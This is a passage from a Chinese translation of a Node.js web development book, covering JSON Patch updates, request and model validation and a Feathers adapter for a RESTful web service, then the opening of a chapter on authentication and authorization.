 **years: await input({message: "Years?"****}),**
 **nextage: await input({message: "Next Age?"})**
 **};**
 **await sendRequest("PATCH", `/api/results/${id}`****,**
 **Object.fromEntries(Object.entries(values)**
 **.filter(([p, v]) => v !== "")));**
 **},**
    "Exit": () => process.exit()
}
... 

此操作以与 PUT 请求相同的方式提示值,但使用 JavaScript 的Object.fromEntriesObject.entriesfilter函数来排除任何未提供值的属性,以便向网络服务发送部分更新。

从命令行选择新的修改选项,输入2作为ID,输入Clara作为名称,然后按回车键以响应其他提示。此操作将更新ID2的结果,并赋予新的名称,如下所示:

...
? Select an operation Modify
? ID? 2
? Name? Clara
? Age?
? Years?
? Next Age?
{"id":2,"name":"Clara","age":35,"years":10,"nextage":45}
? Select an operation Get All
{"id":3,"name":"Alice","age":35,"years":10,"nextage":45}
**{"id":2,"name":"Clara","age":35,"years":10,"nextage":45}**
{"id":1,"name":"Alice","age":35,"years":5,"nextage":40}
... 

客户端只向网络服务发送了新的名称值,并且不需要发送未更改值的属性值。

使用 JSON Patch

在上一节中使用的方法在客户端仅发送现有数据值更改时很有用。许多项目属于这一类别,当数据变得过于复杂,无法使用替换请求,并且只有提供更新值的变化时,这是一种有用的技术。

JSON Patch 格式(jsonpatch.com)可用于更复杂的更新。一个 JSON Patch 文档包含一系列应用于 JSON 文档的操作。例如,用于更新name属性值的 JSON Patch 文档将看起来像这样:

...
[{ "op": "replace", "path": "/name", "value": "Bob" }]
... 

JSON Patch 文档包含一个包含 JSON 对象的数组,其中oppath属性描述了要执行的操作及其目标。某些操作需要额外的属性,例如用于指定替换操作的新值的value属性。表 14.5描述了 JSON Patch 操作。

表 14.5:JSON Patch 操作

操作 描述

|

`add` 
此操作向 JSON 文档添加一个属性,该属性由pathvalue属性指定的名称和值。

|

`remove` 
此操作从 JSON 文档中删除一个属性,该属性由path属性指定。

|

`replace` 
此操作使用value属性分配的值更改由path属性指定的属性。

|

`copy` 
此操作将 from 属性指定的属性复制到 path 属性指定的位置。

|

`move` 
此操作将 from 属性指定的属性移动到 path 属性指定的位置。

|

`test` 
此属性检查 JSON 文档是否包含由 pathvalue 属性指定的属性和值。如果此操作失败,则不会执行其他操作。

path 属性用于使用 JSON Pointer 语法在 JSON 文档中标识值,该语法在 datatracker.ietf.org/doc/html/rfc6901 中描述,并且可以用于选择属性和数组元素。例如,位置 /name 表示 JSON 文档顶层的一个 name 属性。

可以使用自定义代码解析和应用 JSON Patch 文档,但使用可用的开源 JavaScript 包更容易。在 part2app 文件夹中运行 列表 14.27 中显示的命令来安装 fast-json-patch 包 (github.com/Starcounter-Jack/JSON-Patch),这是一个流行的 JSON Patch 包。

列表 14.27:安装 JSON Patch 包

npm install fast-json-patch@3.1.1 

列表 14.28 更新了 Web 服务,使得 modify 方法将接收到的数据视为 JSON Patch 文档,并使用 fast-json-patch 包应用它。

列表 14.28:在 src/server/api 文件夹中的 result_api.ts 文件中使用 JSON Patch

import { WebService } from "./http_adapter";
import { Result } from "../data/repository";
import repository from "../data";
**import * as jsonpatch from "fast-json-patch";**
export class ResultWebService implements WebService<Result> {
    // ...methods omitted for brevity...
    async modify(id: any, data: any): Promise<Result | undefined> {
        const dbData = await this.getOne(id);
        if (dbData !== undefined) {
           ** return await this.replace(id,**
 **jsonpatch.****applyPatch(dbData, data).newDocument);**
        }
    }
} 

使用 applyPatch 方法将 JSON Patch 文档处理为一个对象。result 对象定义了一个 newDocument 属性,它返回修改后的对象,该对象可以存储在数据库中。

在发送 JSON Patch 文档时,HTTP Content-Type 标头设置为 application/json-patch+json,并且此类型不是由 Express JSON 中间件组件自动解码。列表 14.29 配置了 JSON 中间件,以便正常 JSON 负载和 JSON Patch 负载将被解码。

列表 14.29:在 src/server 文件夹中的 server.ts 文件中启用 JSON Patch 解码

...
expressApp.use(helmet());
**expressApp.use(express.json({**
 **type: ["application/json", "application/json-patch+json"]**
**}));**
registerFormMiddleware(expressApp);
registerFormRoutes(expressApp);
... 

JSON 中间件接受一个配置对象,其 type 属性可以配置为要解码的内容类型数组。最后一步是在命令行客户端中创建 JSON Patch 文档,如 列表 14.30 所示。

列表 14.30:在 src/cmdline 文件夹中的 operations.mjs 文件中使用 JSON Patch

...
"Modify": async () => {
    const id = await input({ message: "ID?"});
    const values = {
        name: await input({message: "Name?"}),
        age: await input({message: "Age?"}),
        years: await input({message: "Years?"}),
        nextage: await input({message: "Next Age?"})
    };
   ** await sendRequest("PATCH", `/api/results/${id}`,**
 **Object.entries(values).filter((****[p, v]) => v !== "")**
 **.map(([p, v]) => ({ op: "replace", path: "/" + p, value****: v})),**
 **"application/json-patch+json");**
},
... 

fast-json-patch 包能够生成 JSON Patch 文档,但与应用它们相比,使用自定义代码创建补丁更容易,列表 14.30 中修改的语句为用户输入的每个值创建 replace 操作。

客户端和网络服务的行为方式没有变化,你可以通过从命令行选择修改选项,输入2作为IDClara作为名称,然后按回车键确认其他提示来验证这一点。这是本章前面执行过的相同更改,应该会产生相同的结果,如下所示:

...
? Select an operation Modify
? ID? 2
? Name? Clara
? Age?
? Years?
? Next Age?
{"id":2,"name":"Clara","age":35,"years":10,"nextage":45}
? Select an operation Get All
{"id":3,"name":"Alice","age":35,"years":10,"nextage":45}
**{"id":2,"name":"Clara","age":35,"years":10,"nextage":45}**
{"id":1,"name":"Alice","age":35,"years":5,"nextage":40}
... 

验证客户端数据

网络服务无法信任从客户端接收到的数据,并且会面临与影响 HTML 表单相同类型的问题。恶意用户可以构造 HTTP 请求或修改客户端 JavaScript 代码,发送会导致错误或产生意外结果的数据值,类似于第十一章中描述的表单数据问题。

网络服务的困难在于以不损害通过隔离处理 HTTP 请求的语句所获得的代码清晰性的方式验证数据。如果每个网络服务方法都直接验证其数据,结果将是一堆重复的代码语句,这些语句掩盖了网络服务功能,难以阅读和理解。最佳的验证方法是描述验证要求并在网络服务外部应用它们。

创建验证基础设施

允许清晰地简洁地表达网络服务的验证要求需要一种基础设施,它可以隐藏那些杂乱的实现细节。

起始点是定义描述整个网络服务、网络服务方法和单个验证规则的类型。将名为validation_types.ts的文件添加到src/server/api文件夹中,内容如列表 14.31所示。

列表 14.31:src/server/api 文件夹中 validation_types.ts 文件的内容

export interface WebServiceValidation  {
    keyValidator?: ValidationRule;
    getMany?: ValidationRequirements;
    store?: ValidationRequirements;
    replace?: ValidationRequirements;
    modify?: ValidationRequirements;
}
export type ValidationRequirements = {
    [key: string] : ValidationRule
}
export type ValidationRule =
    ((value: any) => boolean)[] |
    {
        required? : boolean,
        validation: ((value: any) => boolean)[],
        converter?: (value: any) => any,
    }
export class ValidationError implements Error {
    constructor(public name: string, public message: string) {}
    stack?: string | undefined;
    cause?: unknown;
} 

WebServiceValidation类型描述了网络服务的验证要求。keyValidator属性指定了用于标识数据记录的ID值的验证要求,使用ValidationRule类型。ValidationRule可以是应用于值的测试函数数组,或者是一个对象,它还指定了值是否必需以及一个将值转换为网络服务方法期望的类型转换器。

WebServiceValidation类型定义的其他属性对应于消耗数据的网络服务方法。这些属性可以分配一个ValidationRequirements对象,它可以指定网络服务期望的对象形状,并为每个对象指定一个ValidationRuleValidationError类表示在请求中验证客户端发送的数据时出现的问题。

下一步是定义将应用列表 14.31中使用的类型描述的要求的函数以验证数据。将名为validation_functions.ts的文件添加到src/server/api文件夹中,内容如列表 14.32所示。

列表 14.32:src/server/api 文件夹中 validation_functions.ts 文件的内容

import { ValidationError, ValidationRequirements, ValidationRule,
    WebServiceValidation } from "./validation_types";
export type ValidationResult = [valid: boolean, value: any];
export function validate(data: any, reqs: ValidationRequirements): any {
    let validatedData: any = {};
    Object.entries(reqs).forEach(([prop, rule]) => {
        const [valid, value] = applyRule(data[prop], rule);
        if (valid) {
            validatedData[prop] = value;
        } else {
            throw new ValidationError(prop, "Validation Error");
        }
    });
    return validatedData;
}
function applyRule(val: any,
        rule: ValidationRule): ValidationResult {
    const required = Array.isArray(rule) ? true : rule.required;
    const checks = Array.isArray(rule) ? rule : rule.validation;
    const convert = Array.isArray(rule) ? (v: any) => v : rule.converter;
    if (val === null || val == undefined || val === "") {
        return [required ? false : true, val];
    }
    let valid = true;
    checks.forEach(check => {
        if (!check(val)) {
            valid = false;
        }
    });
    return [valid, convert ? convert(val) : val];
}
export function validateIdProperty<T>(val: any,
        v: WebServiceValidation) : any {
    if (v.keyValidator) {
        const [valid, value] = applyRule(val, v.keyValidator);
        if (valid) {
            return value;
        }
        throw new ValidationError("ID", "Validation Error");               
    }
    return val;
} 

validate 函数接受一个 data 对象和一个 ValidationRequirements 对象。ValidationRequirements 对象中指定的每个属性都会从 data 对象中读取并进行验证。结果是包含经过验证的 data 对象,这些数据可以被网络服务信任。如果数据属性不符合其验证要求,则会抛出 ValidationError

为了尽可能平滑地集成验证过程,我将在 HTTP 适配器和网络服务之间插入一个验证层。验证层将接收来自适配器的请求和响应,验证数据,并将其传递给网络服务。在 src/server/api 文件夹中添加一个名为 validation_adapter.ts 的文件,其内容如 列表 14.33 所示。

列表 14.33:在 src/server/api 文件夹中的 validation_adapter.ts 文件内容

import { WebService } from "./http_adapter";
import { validate, validateIdProperty } from "./validation_functions";
import { WebServiceValidation } from "./validation_types";
export class Validator<T> implements WebService<T> {
    constructor(private ws: WebService<T>,
        private validation: WebServiceValidation) {}
    getOne(id: any): Promise<T | undefined> {
        return this.ws.getOne(this.validateId(id));
    }
    getMany(query: any): Promise<T[]> {
        if (this.validation.getMany) {
            query = validate(query, this.validation.getMany);
        }
        return this.ws.getMany(query);
    }
    store(data: any): Promise<T | undefined> {
        if (this.validation.store) {
            data = validate(data, this.validation.store);
        }
        return this.ws.store(data);
    }
    delete(id: any): Promise<boolean> {
        return this.ws.delete(this.validateId(id));
    }
    replace(id: any, data: any): Promise<T | undefined> {
        if (this.validation.replace) {
            data = validate(data, this.validation.replace);
        }
        return this.ws.replace(this.validateId(id), data);
    }
    modify(id: any, data: any): Promise<T | undefined> {
        if (this.validation.modify) {
            data = validate(data, this.validation.modify);
        }
        return this.ws.modify(this.validateId(id), data);
    }
    validateId(val: any) {
        return validateIdProperty(val, this.validation);
    }
} 

使用 validateIdProperty 函数验证包含在 URL 中的 ID 值,任何额外的数据都使用 validate 函数进行验证。如果验证失败,将抛出 ValidationError列表 14.34 更新了 HTTP 适配器,以捕获处理请求时抛出的异常,并为验证错误生成 400 Bad Request 响应,对于任何其他问题生成 500 Internal Server Error 响应。

列表 14.34:在 src/server/api 文件夹中的 http_adapter.ts 文件中处理验证错误

import { Express, Response } from "express";
**import { ValidationError } from "./validation_types";**
export interface WebService<T> {
    getOne(id: any) : Promise<T | undefined>;
    getMany(query: any) : Promise<T[]>;
    store(data: any) : Promise<T | undefined>;
    delete(id: any): Promise<boolean>;
    replace(id: any, data: any): Promise<T | undefined>,
    modify(id: any, data: any): Promise<T | undefined>   
}
export function createAdapter<T>(app: Express, ws: WebService<T>, baseUrl: string) {
    // ...routes omitted for brevity...
    const writeErrorResponse = (err: any, resp: Response) => {
        console.error(err);
       **resp.writeHead(err** **instanceof ValidationError ? 400 : 500);**
 resp.end();
    }
} 

注意,结果发送给客户端时没有包含验证问题的任何细节。理论上,可以向客户端发送一个描述验证问题的 JSON 对象,但在实际操作中,客户端很少能够合理地使用此类信息。验证要求在开发过程中遇到,最好包含在开发者文档中,以便客户端在将其发送到网络服务之前验证从用户那里接收到的数据。

依赖于网络服务提供可以展示给用户的验证错误是一个有问题的过程,并且应该避免,即使客户端和网络服务是由同一团队编写的。当你发布网络服务时,你应该预期要为客户端开发者提供支持,因为他们在使用你提供的功能。

定义 Result API 的验证

验证的复杂性在于基础设施,它允许简洁地定义网络服务的验证要求。在 src/server/api 文件夹中添加一个名为 results_api_validation.ts 的文件,其内容如 列表 14.35 所示。

列表 14.35:在 src/server/api 文件夹中的 results_api_validation.ts 文件内容

import { ValidationRequirements, ValidationRule,
    WebServiceValidation } from "./validation_types";
import validator from "validator";
const intValidator : ValidationRule = {
    validation: [val => validator.isInt(val)],
    converter: (val) => Number.parseInt(val)
}
const partialResultValidator: ValidationRequirements = {
    name: [(val) => !validator.isEmpty(val)],
    age: intValidator,
    years: intValidator
}
export const ResultWebServiceValidation: WebServiceValidation = {
    keyValidator: intValidator,
    store: partialResultValidator,
    replace: {
        ...partialResultValidator,
        nextage: intValidator
    }
} 

ResultWebServiceValidation 对象定义了 keyValidatorstorereplace 属性,这表明网络服务需要验证其 ID 值以及 storereplace 方法使用的数据。

命名为intValidatorValidationRule描述了整数值的验证,它使用validation属性和validator包来确保值是整数,以及一个将值解析为numberconverter函数。

intValidator作为主验证器单独使用,并在名为partialResultValidatorValidationRequirements对象中使用,该对象验证store方法所需的nameageyears属性。replace方法的验证要求通过添加nextage属性扩展了store方法使用的验证要求。

这种验证方法允许将网络服务的数据要求与这些要求的实施分开表达。列表 14.36将验证器包裹在服务周围。

列表 14.36:在 src/server/api 文件夹中的 index.ts 文件中应用验证

import { Express } from "express";
import { createAdapter } from "./http_adapter";
import { ResultWebService } from "./results_api";
**import { Validator } from "./validation_adapter";**
**import { ResultWebServiceValidation } from "****./results_api_validation";**
export const createApi = (app: Express) => {
    **createAdapter(app, new Validator(new** **ResultWebService(),**
       ** ResultWebServiceValidation), "/api/results");**
} 

最后的更改很小,它利用了验证系统执行的类型转换,如列表 14.37所示。

列表 14.37:在 src/server/api 文件夹中的 results_api.ts 文件中依赖类型转换

...
async store(data: any): Promise<Result | undefined> {
    const { name, age, years} = data;
   ** //const nextage = Number.parseInt(age) + Number.parseInt(years);**
 **const nextage = age + years;**     
    const id = await repository.saveResult({ id: 0, name, age,
        years, nextage});
    return await repository.getResultById(id);       
}
... 

只有当ageyears按钮已转换为number值时,才会调用store方法,这意味着store方法不需要执行自己的转换。

要测试验证,选择命令行客户端的获取ID选项,并在提示时输入ABC。验证检查将拒绝此值,并产生一个400 Bad Request响应,如下所示:

...
? Select an operation Get ID
? ID? ABC
400 Bad Request
... 

选择存储选项,并在提示时输入Joe30Ten。最后一个值验证失败,导致另一个400响应。

执行模型验证

并非所有验证都可以在将请求传递给将生成响应的网络服务方法之前完成。一个例子是 PATCH 请求,客户端可以发送可能导致数据库中不一致数据的部分更新,例如提供新的years值而没有相应的nextage值,这样计算结果就没有意义了。

验证此类更新必须在更新应用于现有存储数据之后才能进行,这意味着它必须通过网络服务方法来完成,这是更新过程中最早可以同时获得更改和存储数据的位置。这通常被称为模型验证,尽管没有一致的术语。

列表 14.38定义了一个新的数据类型,它将现有的验证与适用于整个数据模型对象的新规则相结合。

列表 14.38:在 src/server/api 文件夹中的 validation_types.ts 文件中添加一个类型

export interface WebServiceValidation  {
    keyValidator?: ValidationRule;
    getMany?: ValidationRequirements;
    store?: ValidationRequirements;
    replace?: ValidationRequirements;
    modify?: ValidationRequirements;
}
export type ValidationRequirements = {
    [key: string] : ValidationRule
}
export type ValidationRule =
    ((value: any) => boolean)[] |
    {
        required? : boolean,
        validation: ((value: any) => boolean)[],
        converter?: (value: any) => any,
    }
export class ValidationError implements Error {
    constructor(public name: string, public message: string) {}
    stack?: string | undefined;
    cause?: unknown;
}
**export type ModelValidation = {**
 **modelRule?: ValidationRule,**
 **propertyRules?: ValidationRequirements**
**}** 

列表 14.39在一个新函数中使用ModelValidation类型,该函数可以在对象存储之前对其进行验证。

列表 14.39:在 src/server/api 文件夹中的 validation_functions.ts 文件中添加一个函数

**import { ModelValidation, ValidationError, ValidationRequirements****,**
 **ValidationRule, WebServiceValidation } from "./validation_types";**
export type ValidationResult = [valid: boolean, value: any];
// ...functions omitted for brevity...
**export function validateModel(model: any, rules: ModelValidation) : any {**
 **if (rules.propertyRules) {**
 **model = validate(model, rules.propertyRules);**
 **}**
 **if (rules.modelRule) {**
**const [valid, data] = applyRule(model, rules.modelRule);**
 **if (valid) {**
 **return data;**
 **}**
 **throw new ValidationError("Model", "Validation Error");** 
 **}**
**}** 

validateModel 函数应用每个属性的规则,然后应用模型级别的规则。属性规则可能执行类型转换,因此属性检查的结果用作模型级验证的输入。列表 14.40 定义了 Result 对象所需的验证。

列表 14.40:在 src/server/api 文件夹中的 result_api_validation.ts 文件中定义模型验证器

**import { ModelValidation, ValidationRequirements, ValidationRule,**
 **WebServiceValidation } from "****./validation_types";**
import validator from "validator";
const intValidator : ValidationRule = {
    **validation: [val => validator.isInt(val.****toString())],**
    converter: (val) => Number.parseInt(val)
}
const partialResultValidator: ValidationRequirements = {
    name: [(val) => !validator.isEmpty(val)],
    age: intValidator,
    years: intValidator
}
export const ResultWebServiceValidation: WebServiceValidation = {
    keyValidator: intValidator,
    store: partialResultValidator,
    replace: {
        ...partialResultValidator,
        nextage: intValidator
    }
}
**export const ResultModelValidation : ModelValidation = {**
 **propertyRules: { ...partialResultValidator, nextage: intValidator },**
 **modelRule****: [(m: any) => m.nextage === m.age + m.years]**
**}** 

propertyRules 属性使用为早期示例创建的验证规则。modelRule 属性检查 nextage 值是否是 ageyears 属性的总和。

需要修改用于验证整数的规则。由 validator 包提供的 isInt 方法仅对字符串值操作,但部分更新可能将来自 HTTP 请求的 string 值与从数据库中读取的 number 值组合。为了避免异常,被检查的值始终转换为字符串。

列表 14.41 更新了网络服务,使其在 replacemodify 方法中使用模型验证功能,确保不一致的数据不会被写入数据库。

列表 14.41:在 src/server/api 文件夹中的 results_api.ts 文件中验证数据

import { WebService } from "./http_adapter";
import { Result } from "../data/repository";
import repository from "../data";
import * as jsonpatch from "fast-json-patch";
**import { validateModel } from "./validation_functions";**
**import { ResultModelValidation } from "./results_api_validation"****;**
export class ResultWebService implements WebService<Result> {
    getOne(id: any): Promise<Result | undefined> {
        **return repository.getResultById(id);**
    }
    getMany(query: any): Promise<Result[]> {
        if (query.name) {
            return repository.getResultsByName(query.name, 10);
        } else {
            return repository.getAllResults(10);
        }
    }
    async store(data: any): Promise<Result | undefined> {
        const { name, age, years} = data;
        const nextage = age + years;
        const id = await repository.saveResult({ id: 0, name, age,
            years, nextage});
        return await repository.getResultById(id);       
    }
    delete(id: any): Promise<boolean> {
        return repository.delete(Number.parseInt(id));
    }
    replace(id: any, data: any): Promise<Result | undefined> {
        const { name, age, years, nextage } = data;
        **const validated = validateModel****({ name, age, years, nextage },**
 **ResultModelValidation)**
 **return repository.update({ id, ...validated });**
    }
    async modify(id: any, data: any): Promise<Result | undefined> {
        const dbData = await this.getOne(id);
        if (dbData !== undefined) {
            return await this.replace(id,
                jsonpatch.applyPatch(dbData, data).newDocument);
        }
    }
} 

验证可以在 replace 方法中执行,这允许进行替换和更新的一致性验证。

选择命令行客户端的 Replace 选项,并在提示时输入 1Joe201025。这是无效数据,因为 nextage 的值应该是 30,所以验证过程失败,并产生一个 400 Bad Request 响应,如下所示:

...
? Select an operation Replace
? ID? 1
? Name? Joe
? Age? 20
? Years? 10
? Next Age? 25
400 Bad Request
... 

请求和模型验证的结合确保了网络服务只接收和存储有效数据,而抽象的 HTTP 和验证功能有助于简化网络服务的实现,使其更容易理解和维护。

使用包进行网络服务

虽然有优秀的包可用于创建网络服务,但由于缺乏标准化,您必须找到一个适合您对网络服务如何运行的偏好的包,这可能与本章中采取的方法不同。我喜欢 Feathers 包 (feathersjs.com),它的工作方式与本章中的自定义代码类似,并且与流行的数据库和其他包(包括 Express)有良好的集成。

但有许多优秀的包可用,一个好的建议是搜索微服务,这已经成为一个热门术语,一些包将自己定位为微服务生态系统的组成部分。

part2app 文件夹中运行 列表 14.42 中显示的命令以安装 Feathers 包及其与 Express 的集成。

列表 14.42:安装包

npm install @feathersjs/feathers@5.0.14
npm install @feathersjs/express@5.0.14 

Feathers 包包含 TypeScript 类型声明,但它们会覆盖 Express 包的声明。需要更改编译器配置以解决这个问题,如列表 14.43所示。

列表 14.43:在part2app文件夹中的tsconfig.json文件中更改编译器配置

{
    "extends": "@tsconfig/node20/tsconfig.json",
     "compilerOptions": {                      
         "rootDir": "src/server",  
         "outDir": "dist/server/",
         **"noImplicitAny": false**
     },
     "include": ["src/server/**/*"]
} 

Feathers 与 Express 的集成通过扩展现有 API 来实现,该包提供的类型声明与@types/express包提供的不同。

创建一个用于 Web 服务的适配器

Feathers 包使用一系列方法描述 Web 服务,类似于本章前面自定义代码使用的接口。有一些小的差异,但两种方法足够相似,以至于一个简单的适配器可以将自定义 HTTP 处理代码替换为 Feathers 包,而无需对 Web 服务进行更改。在src/server/api文件夹中添加一个名为feathers_adapter.ts的文件,其内容如列表 14.44所示。

列表 14.44:src/server/api文件夹中feathers_adapter.ts文件的内容

import { Id, NullableId, Params } from "@feathersjs/feathers";
import { WebService } from "./http_adapter";
export class FeathersWrapper<T> {

    constructor(private ws: WebService<T>) {}
    get(id: Id) {
        return this.ws.getOne(id);
    }
    find(params: Params) {
        return this.ws.getMany(params.query);
    }
    create(data: any, params: Params) {
        return this.ws.store(data);
    }
    remove(id: NullableId, params: Params) {
        return this.ws.delete(id);
    }  
    update(id: NullableId, data: any, params: Params) {
        return this.ws.replace(id, data);
    }
    patch(id: NullableId, data: any, params: Params) {
        return this.ws.modify(id, data);
    }
} 

Feathers API 提供表示ID值、请求体和查询参数的类型,但由于 HTTP 请求可以表示的方式有限,因此将 Feathers 包和自定义代码之间的桥梁建立起来是一个简单的过程。后续示例将直接使用 Feathers API,但这种方法展示了将现有代码适配到第三方包是多么容易。

Feathers 与 Express 的集成假设 Feathers 将扩展 Express API 以添加功能。列表 14.45使用 Feathers 功能创建一个 Web 服务,而无需更改应用程序的其他部分。

列表 14.45:在src/server/api文件夹中的index.ts文件中使用 Feathers

import { Express } from "express";
import { createAdapter } from "./http_adapter";
import { ResultWebService } from "./results_api";
import { Validator } from "./validation_adapter";
import { ResultWebServiceValidation } from "./results_api_validation";
**import** **{ FeathersWrapper } from "./feathers_adapter";**
**import { feathers } from "@feathersjs/feathers";**
**import feathersExpress, { rest } from "@feathersjs/express";**
**import** **{ ValidationError } from "./validation_types";**
export const createApi = (app: Express) => {
    **// createAdapter(app, new Validator(new ResultWebService(),**
 **//     ResultWebServiceValidation), "/api/results");**
 **const feathersApp = feathersExpress(feathers(), app).configure(rest());**
 **const service = new Validator(****new ResultWebService(),**
 **ResultWebServiceValidation);**
 **feathersApp.use('/api/results', new FeathersWrapper(service));**
 **feathersApp.hooks({**
**error: {**
 **all: [(ctx) => {** 
 **if (ctx.error instanceof ValidationError) {**
 **ctx.http = { status:** **400};**
 **ctx.error = undefined;**
 **}**
 **}]**
 **}**
 **});**
} 

Express 的增强版本是通过以下声明创建的:

...
const feathersApp = feathersExpress(feathers(), app).configure(rest());
... 

这个咒语使 Feathers 生效,并配置它以支持 RESTful 查询。Feathers 可以用不同的方式使用,而 RESTful 请求只是客户端与 Feathers 服务器端组件通信的方式之一。

Feathers 支持钩子,允许在请求生命周期的关键时刻执行函数。钩子是一个有用的功能,可以用于包括验证和错误处理在内的任务。在这个例子中,验证由自定义代码处理,但这个声明定义了一个在处理请求时抛出异常时将被调用的钩子:

...
feathersApp.hooks({
    error: {
        all: [(ctx) => {
            if (ctx.error instanceof ValidationError) {
                ctx.http = { status: 400};
                ctx.error = undefined;
            }
        }]
    }
});
... 

当验证失败时,自定义代码会抛出ValidationError,Feathers 通过发送 500 响应来处理这种情况。钩子接收一个上下文对象,该对象提供了请求及其结果的详细信息,并且如果发生ValidationError,此语句会更改响应状态码。由于它使用相同的自定义代码来处理请求,因此网络服务的工作方式没有变化。但是,通过了解 RESTful 网络服务的工作方式和创建方式,转向如 Feathers 这样的包允许利用相同的功能,而无需编写自定义代码。

摘要

在本章中,我展示了如何使用 Node.js 提供的 HTTP 功能,并通过 Express 包增强,来创建一个 RESTful 网络服务。

  • HTTP 请求 URL 标识数据,HTTP 方法表示将要执行的操作。

  • 大多数网络服务使用 JSON 格式,这已经取代了 XML 成为默认的数据格式。

  • 在实现网络服务的方式上,标准化程度较低,尽管有一些广泛使用的通用约定,尤其是与 HTTP 方法所表示的操作相关。

  • 在安全使用之前,网络服务接收到的数据必须经过验证。

  • 通过将实现与处理 HTTP 请求和执行验证的代码分离,可以最轻松地编写网络服务。

在下一章中,我将展示如何对 HTTP 请求进行身份验证以及如何使用用户的身份进行授权。

第十五章:身份验证和授权请求

大多数项目都需要限制对功能的访问;否则,任何知道应用程序 URL 的人都可以执行任何操作。目前示例应用程序就是这样设置的:任何可以请求http://localhost:5000的人都将能够存储和删除数据,无论他们是谁。

授权,通常称为AuthZ,是限制访问的过程,以便只有某些用户(自然地称为授权用户)可以执行操作。身份验证,通常称为AuthN,是用户识别自己的过程,以便应用程序可以确定用户是否有权执行他们请求的操作。本章解释了 Node.js 应用程序如何应用身份验证和授权,基于前面章节中描述的功能。表 15.1 将本章置于上下文中。

表 15.1:将授权和身份验证置于上下文中

问题 答案
它们是什么? 身份验证是识别用户的过程。授权是将对应用程序功能的访问限制到用户子集的过程。
为什么它们有用? 识别用户允许应用程序通过使用特定于一个账户的数据或偏好来改变其行为。限制对功能的访问意味着应用程序可以支持那些否则可能危险或对有效服务提供有偏见的行为。
它是如何使用的? 用户通过向应用程序提供凭证来识别自己,应用程序生成一个临时令牌,该令牌包含在后续请求中。该令牌用于将一个身份与每个请求关联起来,可以检查以授权访问受限制的功能。
有任何陷阱或限制吗? 需要进行彻底的测试以确保身份验证和授权按预期工作。许多应用程序将需要额外的工作来支持用户注册和账户维护。
有没有替代方案? 并非所有应用程序都需要身份验证和授权,但大多数都需要。一些相关功能可以委托给第三方身份验证提供商,但仍然需要集成。

表 15.2 总结了本章内容。

表 15.2:章节总结

问题 解决方案 列表
身份验证用户 提供一种机制,允许用户提供凭证,这些凭证可以与存储的数据进行验证。 4-9, 26-28
为 HTML 客户端创建身份验证令牌 在会话中包含用户的身份,以便会话 cookie 成为身份验证令牌。 10-12
为 API 客户端创建身份验证令牌 创建一个携带令牌。 13-16
授权请求 使用与请求关联的标识来确定用户是否有权执行目标操作。 17-25, 29

为本章做准备

本章使用第十四章中的part2app项目。本章的第一个示例是为往返应用程序准备的。为了准备,将名为data.handlebars的文件添加到templates/server文件夹中,其内容如列表 15.1所示:

提示

您可以从github.com/PacktPublishing/Mastering-Node.js-Web-Development下载本章的示例项目——以及本书中所有其他章节的示例项目。有关运行示例时遇到问题的帮助,请参阅第一章

列表 15.1:templates/server文件夹中data.handlebars文件的内容

<form class="m-2">
    <table class="table table-sm table-striped">
        <thead>
            <tr>
                <th>ID</th><th>Name</th><th>Age</th><th>Years</th>
                <th>Next Age</th><th></th>
            </tr>
        </thead>
        <tbody>
            {{#unless data }}<tr><td colspan="5">No Data</td></tr>{{/unless }}
            {{#each data }}
                <tr>
                    <td>{{ this.id }} </td>
                    <td>{{ this.name }} </td>
                    <td>{{ this.age }} </td>
                    <td>{{ this.years }} </td>
                    <td>{{ this.nextage }} </td>
                    <td>
                        <button class="btn btn-danger btn-sm"
                            formmethod="post"
                            formaction="/form/delete/{{this.id}}">
                                Delete
                        </button> 
                    </td>
                </tr>               
            {{/each }}
        </tbody>
    </table>
    <button class="btn btn-primary"
        formmethod="post"
        formaction="/form/add">
            Add
    </button>                    
    <input type="hidden" name="name" value="Alice" />
    <input type="hidden" name="age" value="40" />
    <input type="hidden" name="years" value="10" />
</form> 

此模板包含一个显示数据的表格,以及一个向服务器发送 HTTP 请求的表单。为了处理 HTTP 请求,将src/server文件夹中forms.ts文件的内容替换为列表 15.2中显示的代码。

列表 15.2:src/server文件夹中forms.ts文件的内容

import express, { Express } from "express";
import repository  from "./data";
import cookieMiddleware from "cookie-parser";
import { sessionMiddleware } from "./sessions/session_helpers";
import { Result } from "./data/repository";
const rowLimit = 10;
export const registerFormMiddleware = (app: Express) => {
    app.use(express.urlencoded({extended: true}))
    app.use(cookieMiddleware("mysecret"));
    app.use(sessionMiddleware());
}
export const registerFormRoutes = (app: Express) => {
    app.get("/form", async (req, resp) => {
        resp.render("data", {data: await repository.getAllResults(rowLimit)});
    });
    app.post("/form/delete/:id", async (req, resp) => {
        const id = Number.parseInt(req.params["id"]);
        await repository.delete(id);
        resp.redirect("/form");
        resp.end();
    });

    app.post("/form/add", async (req, resp) => {
        const nextage = Number.parseInt(req.body["age"])
            + Number.parseInt(req.body["years"]);
        await repository.saveResult({...req.body, nextage } as Result);
        resp.redirect("/form");
        resp.end();
    });
} 

列表 15.2中定义的路由渲染数据模板,从数据库中删除一个条目,并存储一个条目。数据存储或删除后,浏览器会收到重定向到/form URL 的请求,该 URL 将显示用户操作的结果。在part2app文件夹中运行列表 15.3中显示的命令以启动开发工具:

列表 15.3:启动开发工具

npm start 

使用浏览器请求http://localhost:5000/form,您将看到由新模板生成的内容,如图 15.1 所示。点击删除按钮将从一个数据库中删除一个条目,点击添加按钮将使用固定数据值存储一个新的条目。

图片

图 15.1:运行示例应用程序

理解端到端过程

本章涵盖的主题是用户获取应用程序提供功能的一个更大过程的一部分。该过程如下:

  1. 注册。注册过程为用户创建一个账户,并给予凭证以供用户识别自己。

  2. 用户认证。当用户想要使用应用程序时,会展示他们的凭证。认证过程,通常称为登录,生成一个临时令牌以识别用户。

  3. 请求认证。在发起 HTTP 请求时,客户端包含临时令牌以识别用户,而无需再次提供凭证。

  4. 授权。请求中包含的令牌用于确定用户是否可以访问请求中指定的功能。

本章涵盖了认证和授权的过程部分。注册过程的细节没有描述,因为它们取决于应用程序的类型。对于企业应用程序,注册通常发生在新员工加入公司时,对于大型公司,将由人力资源部门通过中央员工目录来完成。对于面向消费者的应用程序,注册通常与支付相关联,在用户获得应用程序访问权之前(例如,Spotify 服务)或在他们做出产品选择之后(例如,亚马逊商品)进行。在两种情况下,用户都会自行注册。

需要用户自行注册的应用程序通常提供账户维护工具,允许用户更改他们的凭证、更新个人信息以及关闭他们的账户。在某些地区的法律中,用户有权利获得所有关于他们的数据的副本,这通常是账户管理过程的一部分。

用户认证

